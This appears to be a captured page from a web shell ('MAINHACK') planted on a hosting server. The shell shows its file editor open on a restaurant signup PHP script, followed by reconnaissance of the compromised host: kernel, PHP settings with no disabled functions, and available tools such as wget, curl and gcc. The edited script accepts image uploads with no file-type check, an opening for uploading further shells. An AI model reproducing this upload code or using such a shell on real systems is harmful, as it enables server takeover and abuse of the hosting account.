[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: restaurant-upload.php
<?php include('header.php');$uid=base64_decode($_REQUEST['uid']);?> <style> .foot-bg-index{ display:none; } </style> <!-- Sign Up - Resturant-sing 02 --> <div class="sing-up resturant-sing" style="background: kground-size: cover;"> <div class="container"> <div class="sing-up-text" style=""> <div class="sing-up-text-bg"> <h3> Upload Your <span>Logo & Banner</span></h3> <h5>Already have an account? <a href="home-cooks-login.php" ><b>Log In</b></a></h5> </div> <div class="sing-up-form" style="width: 100%;"> <form method="post" id="form" method="post" enctype="multipart/form-data" > <div class="log-input" id="b_name"> <span>Logo Upload <b>* </b><sub> Size 300px-100px</sub></span> <label><i class="fa fa-file" aria-hidden="true"></i></label> <input type="file" placeholder="Logo Upload" name="profile_pic" required=""> </div> <div class="log-input" id="b_name"> <span>Banner Upload <b>* </b><sub> Size 1000px-500px</sub></span> <label><i class="fa fa-file" aria-hidden="true"></i></label> <input type="file" placeholder="Banner Upload" name="banner" required=""> </div> <div class="log-input" id="b_name"> <span>Introduction <b>* </b></span> <label><i class="fa fa-pen"></i></label> <textarea placeholder="Give a short and brief introduction" name="description" required=""></textarea> </div> <div class="log-input submitbox" id="b_name"> <input type="submit" class="" name="sub" id="btn" value="submit"> </div> <a href="restaurant-subcategory.php" class="next">Next</a> </form><?php if(isset($_POST['sub'])){ //echo "ok"; $allowed = ["description"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } if(file_exists($_FILES['profile_pic']['tmp_name']) || is_uploaded_file($_FILES['profile_pic']['tmp_name'])) { $setStr .= "`profile_pic` = :profile_pic,"; $img=$show->imageEdit($_FILES['profile_pic']['name']); move_uploaded_file($_FILES['profile_pic']['tmp_name'],"product_img/".$img); $params['profile_pic'] =$img; } if(file_exists($_FILES['banner']['tmp_name']) || is_uploaded_file($_FILES['banner']['tmp_name'])) { $setStr .= "`banner` = :banner,"; $img=$show->imageEdit($_FILES['banner']['name']); move_uploaded_file($_FILES['banner']['tmp_name'],"product_img/".$img); $params['banner'] =$img; } $setStr = rtrim($setStr, ","); $params['maker_id'] =$uid; $show->table ='food_maker'; $show->cols =$setStr; $show->id_name ='maker_id'; $show->params =$params; $r=$show->update_all(); if($r){ echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "Please add your restaurant sub category now", type: "success" }, function() { window.location = "restaurant-subcategory.php?uid='.base64_encode($uid).'"; }); }, 1000); </script>'; }else{ echo "<script>swal('aa')</script>";} } ?> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619